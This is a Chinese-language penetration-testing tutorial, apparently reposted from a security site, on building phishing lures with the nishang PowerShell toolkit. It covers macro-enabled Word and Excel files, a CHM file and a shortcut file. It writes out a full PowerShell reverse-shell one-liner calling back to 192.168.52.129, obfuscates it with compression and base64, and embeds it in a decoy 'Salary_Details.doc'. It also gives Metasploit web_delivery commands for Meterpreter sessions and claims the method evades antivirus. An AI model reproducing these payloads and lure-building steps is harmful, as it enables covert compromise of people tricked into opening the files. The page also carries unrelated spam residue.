<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/8568

                    0x00 簡介


                    Powershell是windows下面非常強大的命令行工具,并且在windows中Powershell可以利用.NET Framework的強大功能,也可以調用windows API,在win7/server 2008以后,powershell已被集成在系統當中。 除此之外,使用powershell能很好的bypass各種AV,在滲透測試中可謂是一個神器。此次使用的是開源的powershell腳本集nishang中的client來制作釣魚文件。其中office類型文件可以達到釣魚目的的前提是office已經啟用宏

                    0x01制作word釣魚文件


                    下載powercatpowershell的nc

                    加載powercat :

                    PS G:\github\Pentest\powershell\powercat-master> . .\powercat.ps1
                    PS G:\github\Pentest\powershell\powercat-master> powercat
                    You must select either client mode (-c) or listen mode (-l).
                    

                    加載以后使用powercat開啟監聽:

                    PS G:\github\Pentest\powershell\powercat-master> powercat -l -v -p 4444
                    詳細信息: Set Stream 1: TCP
                    詳細信息: Set Stream 2: Console
                    詳細信息: Setting up Stream 1...
                    詳細信息: Listening on [0.0.0.0] (port 4444)
                    

                    測試加載Invoke-PowerShellTcp并執行:

                    PS G:\github\Pentest\powershell\nishang-master\Shells> . .\Invoke-PowerShellTcp.ps1
                    PS G:\github\Pentest\powershell\nishang-master\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -Port 4444
                    

                    執行結果如下圖:

                    Alt text

                    可以發現,直接獲取了一個powershell的shell。下面制作word文件。 復制nishang中Invoke-PowerShellTcpOneLine.ps1 client代碼,如下:

                    $client = New-Object System.Net.Sockets.TCPClient("192.168.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
                    

                    使用Invoke-Encode.ps1進行編碼,編碼之前記得要修改ip以及自己要監聽的端口

                    PS G:\github\Pentest\powershell\nishang-master\Shells> cd ..\Utility\
                    PS G:\github\Pentest\powershell\nishang-master\Utility> . .\Invoke-Encode.ps1
                    PS G:\github\Pentest\powershell\nishang-master\Utility> Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient("192.1
                    68.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$da
                    ta = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendb
                    ack + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream
                    .Flush()};$client.Close()' -IsString -PostScriptCommand
                    Encoded data written to .\encoded.txt
                    Encoded command written to .\encodedcommand.txt
                    

                    復制encodedcommand.txt的代碼如下:

                    Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
                    

                    加載Out-Word.ps1并生成后門,這里要注意,要把payload里面的單引號多加一個單引號!

                    PS G:\github\Pentest\powershell\nishang-master\Utility> . ..\Client\Out-Word.ps1
                    PS G:\github\Pentest\powershell\nishang-master\Utility> Out-Word -Payload 'powershell -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw=='')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();'
                    Saved to file G:\github\Pentest\powershell\nishang-master\Utility\Salary_Details.doc
                    0
                    PS G:\github\Pentest\powershell\nishang-master\Utility>
                    

                    執行word以后,則會反彈shell,在啟用宏的計算機上沒有任何提示,未啟用宏的計算機會有啟用宏的提示。

                    Alt text

                    獲取反彈的powershell可以很容易的升級到metasploit的meterpreter。

                    0x02制作excel釣魚文件


                    首先使用msf的web_delivery開啟一個powershell的監聽:

                    #bash
                    msf > use exploit/multi/script/web_delivery 
                    msf exploit(web_delivery) > set target 2
                    target => 2
                    msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
                    payload => windows/meterpreter/reverse_tcp
                    msf exploit(web_delivery) > set LHOST 192.168.52.129
                    LHOST => 192.168.52.129
                    msf exploit(web_delivery) > set URIPATH /
                    URIPATH => 
                    msf exploit(web_delivery) > exploit 
                    

                    開啟服務如下圖:

                    Alt text

                    使用Out-Excel.ps1制作excel釣魚文件:

                    D:\temp>powershell
                    Windows PowerShell
                    版權所有 (C) 2015 Microsoft Corporation。保留所有權利。    
                    
                    PS D:\temp> . .\Out-Excel.ps1
                    PS D:\temp> Out-Excel -PayloadURL http://192.168.52.129:8080/ -OutputFile  D:\temp\test.xls
                    Saved to file D:\temp\test.xls
                    0
                    

                    其中http://192.168.52.129:8080/是msf開啟的服務地址。 運行excel,獲取meterpreter會話如下圖:

                    Alt text

                    0x03制作chm釣魚文件


                    依然使用msf開啟powershell的web_delivery,使用Out-CHM制作chm釣魚文件:

                    PS D:\temp> Out-CHM -PayloadURL http://192.168.52.129:8080/ -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
                    Microsoft HTML Help Compiler 4.74.8702    
                    
                    Compiling d:\temp\doc.chm    
                    
                    
                    Compile time: 0 minutes, 1 second
                    2       Topics
                    4       Local links
                    4       Internet links
                    0       Graphics    
                    
                    
                    Created d:\temp\doc.chm, 13,524 bytes
                    Compression increased file by 324 bytes.
                    PS D:\temp>
                    

                    運行doc.chm,獲取meterpreter會話:

                    Alt text

                    缺點是會彈出黑框框。丟給幾個小伙伴測試,都上線了(23333)。

                    0x04制作快捷方式釣魚文件


                    依然使用之前開啟的web_delivery,使用Out-Shortcut制作快捷方式釣魚文件。

                    PS D:\temp> . .\Out-Shortcut.ps1
                    PS D:\temp> Out-Shortcut -PayloadURL http://192.168.52.129:8080/ -HotKey 'F3' -Icon 'notepad.exe'
                    The Shortcut file has been written as D:\temp\Shortcut to File Server.lnk
                    

                    其中PayloadURL為web_delivery服務地址,Icon為快捷方式的圖標,HotKey為快捷鍵。 右鍵屬性快捷方式,可以看到快捷方式指向我們的服務地址,如下圖:

                    Alt text

                    運行快捷方式,可以獲取meterpreter會話:

                    Alt text

                    0x05小結


                    測試發現,上面幾個方式還是挺有效的,使用chm方式更容易成功些,因為使用了powershell,防護軟件并沒有報警,其中還有WebQuery、java以及hta類型的釣魚文件生成腳本,筆者測試java以及hta方式的沒有成功,這里就不介紹了,至于WebQuery方式的在FB上已經有詳細的介紹:傳送門 有興趣的小伙伴可以繼續研究研究。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频